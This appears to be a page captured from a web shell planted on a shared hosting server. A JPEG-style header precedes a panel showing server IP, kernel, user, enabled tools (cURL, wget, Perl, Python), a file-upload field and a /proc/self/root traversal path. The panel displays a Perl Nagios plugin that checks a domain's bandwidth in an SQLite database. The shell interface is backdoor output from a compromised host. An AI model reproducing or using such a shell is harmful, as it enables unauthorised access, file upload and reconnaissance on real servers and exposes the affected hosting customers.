����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/proc/self/root/proc/1630575/root/usr/lib64/nagios/plugins/extra/ |
Upload File : |
#!/usr/bin/perl
use English;
use DBI;
use Time::Piece;
my $domain = 'accounting.fozzyhost.com';
my $dbfile = '/srv/fp/db/traff.db';
# Get 10 minutes ago localtime
my $pastlocaltime = localtime( time - 600 );
my $dbdate
= Time::Piece->strptime( $pastlocaltime, '%a %b %e %H:%M:%S %Y' )
->strftime('%Y-%m-%d %H:%M');
$dbdate = substr $dbdate, 0, -1;
my $query
= "SELECT bw_usage FROM statistics WHERE domain_id IN (SELECT domain_id from domains WHERE domain='$domain') AND date LIKE '$dbdate%';";
my $dbh = DBI->connect( "dbi:SQLite:dbname=$dbfile", "", "" )
or die $DBI::errstr;
my $sth = $dbh->prepare("$query");
$sth->execute();
my $bw_usage = $sth->fetchrow();
$sth->finish();
$dbh->disconnect();
# Check
if ( $bw_usage < '1790' ) {
print "BW usage for $dbdate is $bw_usage\n";
exit 3;
}
else {
print "OK\n";
exit 0;
}